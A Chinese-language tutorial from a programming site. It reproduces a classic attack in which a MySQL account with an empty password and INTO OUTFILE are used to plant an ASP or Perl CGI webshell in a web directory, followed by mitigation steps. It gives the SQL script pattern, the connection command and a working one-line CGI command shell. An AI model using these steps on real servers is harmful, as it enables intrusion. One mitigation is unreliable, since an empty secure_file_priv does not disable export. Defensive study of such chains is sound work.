首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫

利用 MySQL 空密碼與 INTO OUTFILE 實現 WebShell 植入實戰複現

     編輯:MySQL 資料庫相關知識

攻擊場景:獲取目標 MySQL 空密碼帳號(如 root@% 或匿名用戶),利用 SELECT ... INTO OUTFILE 將精心構造的 ASP/WebShell 代碼寫入 Web 目錄,進而獲得系統 Shell。本文還原完整攻擊鏈,僅供防禦研究與審計排查參考。

攻擊前提

  • MySQL 啟用 FILE 權限(預設 root 擁有)。
  • Web 目錄可寫(或 MySQL 服務用戶對 Web 目錄有寫權限)。
  • 攻擊者可網絡連接 MySQL 3306 端口。

攻擊步驟

  1. 準備 SQL 腳本(cmd.sql):創建臨時表,逐行 INSERT WebShell 代碼(單行插入避免引號/換行轉義問題),最後 SELECT * INTO OUTFILE 'C:\\www\\www\\shell.asp' 寫入文件,刪除臨時表。
    USE test;
    CREATE TABLE tmp (cmd TEXT);
    INSERT INTO tmp VALUES ('<%@ Language=VBScript %>');
    INSERT INTO tmp VALUES ('<%');
    ...(逐行插入完整 ASP Shell 代碼)...
    SELECT * FROM tmp INTO OUTFILE 'C:\\www\\www\\234.asp';
    DROP TABLE tmp;
    
  2. 命令行執行:
    mysql -u user -p -h target_ip < cmd.sql
    
    密碼為空直接回車。若返回無錯誤,文件寫入成功。
  3. 驗證 Shell:瀏覽器訪問 https://target/234.asp,獲得低權限 WebShell。
  4. CGI 變體:若目標支援 CGI,可寫入 234.cgi(內容 #!/usr/bin/perl\nsystem @ARGV;),通過 https://target/234.cgi?dir c:\\ 執行命令。

防禦斷點

  1. 消除空密碼帳號:DELETE FROM user WHERE Password='' OR Password IS NULL; FLUSH PRIVILEGES;
  2. 回收 FILE 權限:UPDATE user SET File_priv='N' WHERE User!='root'; FLUSH PRIVILEGES;(或僅保留專用備份帳號)。
  3. 禁用 INTO OUTFILE:MySQL 5.6+ 可用 secure_file_priv 限制導出目錄,設為空字符串禁用。
  4. Web 目錄權限分離:MySQL 服務用戶無 Web 目錄寫權限;Web 目錄禁用腳本執行權限(IIS Handler Mapping 移除 .asp/.php 執行權限於上傳目錄)。
  5. 網絡層隔離:MySQL 3306 僅對應用服務器開放,禁用公網/內網其他 IP 訪問。

此攻擊鏈經典且殺傷力大,歷史上無數入侵事件由此發端。資料庫最小權限、網絡微隔離、文件系統權限分離,三位一體方能有效阻斷。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved